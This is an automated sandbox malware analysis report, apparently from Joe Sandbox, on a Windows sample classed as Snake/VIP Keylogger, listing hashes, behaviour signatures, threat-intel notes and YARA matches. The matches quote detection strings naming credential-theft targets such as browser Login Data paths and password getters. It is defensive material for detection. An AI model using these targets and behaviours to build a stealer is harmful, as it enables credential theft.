Edit tour

Windows Analysis Report
173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Overview

General Information

Sample name:	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
Analysis ID:	1562944
MD5:	856c7834ab6127372257ccd6a895b1c6
SHA1:	936bfade0f82d7a0d51fe999b05bba1dd460e101
SHA256:	8fcb7b52bb43d79e78a76244ad746e24a120fe1878491c543c42f75fe5010552
Tags:	base64-decodedexeuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Machine Learning detection for sample

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe (PID: 7444 cmdline: "C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe" MD5: 856C7834AB6127372257CCD6A895B1C6)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A4 88 44 24 2B 88 44 24 2F B0 A3 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35940:$a1: get_encryptedPassword 0x35914:$a2: get_encryptedUsername 0x359d8:$a3: get_timePasswordChanged 0x358f0:$a4: get_passwordField 0x35956:$a5: set_encryptedPassword 0x35723:$a7: get_logins 0x30fe6:$a10: KeyLoggerEventArgs 0x30fb5:$a11: KeyLoggerEventArgsEventHandler 0x357f7:$a13: _encryptedPassword
00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35d00:$a1: get_encryptedPassword 0x35cd4:$a2: get_encryptedUsername 0x35d98:$a3: get_timePasswordChanged 0x35cb0:$a4: get_passwordField 0x35d16:$a5: set_encryptedPassword 0x35ae3:$a7: get_logins 0x313a6:$a10: KeyLoggerEventArgs 0x31375:$a11: KeyLoggerEventArgsEventHandler 0x35bb7:$a13: _encryptedPassword
00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3fdee:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3f491:$a3: \Google\Chrome\User Data\Default\Login Data 0x3f6ee:$a4: \Orbitum\User Data\Default\Login Data 0x400cd:$a5: \Kometa\User Data\Default\Login Data
00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x338f0:$s1: UnHook 0x3388c:$s2: SetHook 0x338c5:$s3: CallNextHook 0x33854:$s4: _hook
00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x766ee:$a1: get_encryptedPassword 0x766c2:$a2: get_encryptedUsername 0x76786:$a3: get_timePasswordChanged 0x7669e:$a4: get_passwordField 0x76704:$a5: set_encryptedPassword 0x764d1:$a7: get_logins 0x71d94:$a10: KeyLoggerEventArgs 0x71d63:$a11: KeyLoggerEventArgsEventHandler 0x765a5:$a13: _encryptedPassword
00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34de0:$a1: get_encryptedPassword 0x34db4:$a2: get_encryptedUsername 0x34e78:$a3: get_timePasswordChanged 0x34d90:$a4: get_passwordField 0x34df6:$a5: set_encryptedPassword 0x34bc3:$a7: get_logins 0x30486:$a10: KeyLoggerEventArgs 0x30455:$a11: KeyLoggerEventArgsEventHandler 0x34c97:$a13: _encryptedPassword
00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3eece:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e571:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e7ce:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ad:$a5: \Kometa\User Data\Default\Login Data
00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d0:$s1: UnHook 0x3296c:$s2: SetHook 0x329a5:$s3: CallNextHook 0x32934:$s4: _hook
00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe PID: 7444	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe PID: 7444	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe PID: 7444	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe PID: 7444	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x72565:$a1: get_encryptedPassword 0x1a5afc:$a1: get_encryptedPassword 0x281b85:$a1: get_encryptedPassword 0x28e796:$a1: get_encryptedPassword 0x72539:$a2: get_encryptedUsername 0x1a5ad0:$a2: get_encryptedUsername 0x281b59:$a2: get_encryptedUsername 0x28e76a:$a2: get_encryptedUsername 0x725fd:$a3: get_timePasswordChanged 0x1a5b94:$a3: get_timePasswordChanged 0x281c1d:$a3: get_timePasswordChanged 0x28e82e:$a3: get_timePasswordChanged 0x72515:$a4: get_passwordField 0x1a5aac:$a4: get_passwordField 0x281b35:$a4: get_passwordField 0x28e746:$a4: get_passwordField 0x7257b:$a5: set_encryptedPassword 0x1a5b12:$a5: set_encryptedPassword 0x281b9b:$a5: set_encryptedPassword 0x28e7ac:$a5: set_encryptedPassword 0x72351:$a7: get_logins
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A4 88 44 24 2B 88 44 24 2F B0 A3 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A4 88 44 24 2B 88 44 24 2F B0 A3 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34de0:$a1: get_encryptedPassword 0x34db4:$a2: get_encryptedUsername 0x34e78:$a3: get_timePasswordChanged 0x34d90:$a4: get_passwordField 0x34df6:$a5: set_encryptedPassword 0x34bc3:$a7: get_logins 0x30486:$a10: KeyLoggerEventArgs 0x30455:$a11: KeyLoggerEventArgsEventHandler 0x34c97:$a13: _encryptedPassword
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3eece:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e571:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e7ce:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ad:$a5: \Kometa\User Data\Default\Login Data
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d0:$s1: UnHook 0x3296c:$s2: SetHook 0x329a5:$s3: CallNextHook 0x32934:$s4: _hook
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34de0:$a1: get_encryptedPassword 0x34db4:$a2: get_encryptedUsername 0x34e78:$a3: get_timePasswordChanged 0x34d90:$a4: get_passwordField 0x34df6:$a5: set_encryptedPassword 0x34bc3:$a7: get_logins 0x30486:$a10: KeyLoggerEventArgs 0x30455:$a11: KeyLoggerEventArgsEventHandler 0x34c97:$a13: _encryptedPassword
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x33f00:$a1: get_encryptedPassword 0x33ed4:$a2: get_encryptedUsername 0x33f98:$a3: get_timePasswordChanged 0x33eb0:$a4: get_passwordField 0x33f16:$a5: set_encryptedPassword 0x33ce3:$a7: get_logins 0x2f5a6:$a10: KeyLoggerEventArgs 0x2f575:$a11: KeyLoggerEventArgsEventHandler 0x33db7:$a13: _encryptedPassword
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3dfee:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d691:$a3: \Google\Chrome\User Data\Default\Login Data 0x3d8ee:$a4: \Orbitum\User Data\Default\Login Data 0x3e2cd:$a5: \Kometa\User Data\Default\Login Data
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x31af0:$s1: UnHook 0x31a8c:$s2: SetHook 0x31ac5:$s3: CallNextHook 0x31a54:$s4: _hook
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x331e0:$a1: get_encryptedPassword 0x331b4:$a2: get_encryptedUsername 0x33278:$a3: get_timePasswordChanged 0x33190:$a4: get_passwordField 0x331f6:$a5: set_encryptedPassword 0x32fc3:$a7: get_logins 0x2e886:$a10: KeyLoggerEventArgs 0x2e855:$a11: KeyLoggerEventArgsEventHandler 0x33097:$a13: _encryptedPassword
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x331e0:$a1: get_encryptedPassword 0x331b4:$a2: get_encryptedUsername 0x33278:$a3: get_timePasswordChanged 0x33190:$a4: get_passwordField 0x331f6:$a5: set_encryptedPassword 0x32fc3:$a7: get_logins 0x2e886:$a10: KeyLoggerEventArgs 0x2e855:$a11: KeyLoggerEventArgsEventHandler 0x33097:$a13: _encryptedPassword
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3eece:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e571:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e7ce:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ad:$a5: \Kometa\User Data\Default\Login Data
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34de0:$a1: get_encryptedPassword 0x34db4:$a2: get_encryptedUsername 0x34e78:$a3: get_timePasswordChanged 0x34d90:$a4: get_passwordField 0x34df6:$a5: set_encryptedPassword 0x34bc3:$a7: get_logins 0x30486:$a10: KeyLoggerEventArgs 0x30455:$a11: KeyLoggerEventArgsEventHandler 0x34c97:$a13: _encryptedPassword
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3eece:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e571:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e7ce:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ad:$a5: \Kometa\User Data\Default\Login Data
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d0:$s1: UnHook 0x3296c:$s2: SetHook 0x329a5:$s3: CallNextHook 0x32934:$s4: _hook
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d2ce:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3c971:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cbce:$a4: \Orbitum\User Data\Default\Login Data 0x3d5ad:$a5: \Kometa\User Data\Default\Login Data
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d2ce:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3c971:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cbce:$a4: \Orbitum\User Data\Default\Login Data 0x3d5ad:$a5: \Kometa\User Data\Default\Login Data
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d0:$s1: UnHook 0x3296c:$s2: SetHook 0x329a5:$s3: CallNextHook 0x32934:$s4: _hook
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x30dd0:$s1: UnHook 0x30d6c:$s2: SetHook 0x30da5:$s3: CallNextHook 0x30d34:$s4: _hook
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x30dd0:$s1: UnHook 0x30d6c:$s2: SetHook 0x30da5:$s3: CallNextHook 0x30d34:$s4: _hook
0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x331e0:$a1: get_encryptedPassword 0x331b4:$a2: get_encryptedUsername 0x33278:$a3: get_timePasswordChanged 0x33190:$a4: get_passwordField 0x331f6:$a5: set_encryptedPassword 0x32fc3:$a7: get_logins 0x2e886:$a10: KeyLoggerEventArgs 0x2e855:$a11: KeyLoggerEventArgsEventHandler 0x33097:$a13: _encryptedPassword
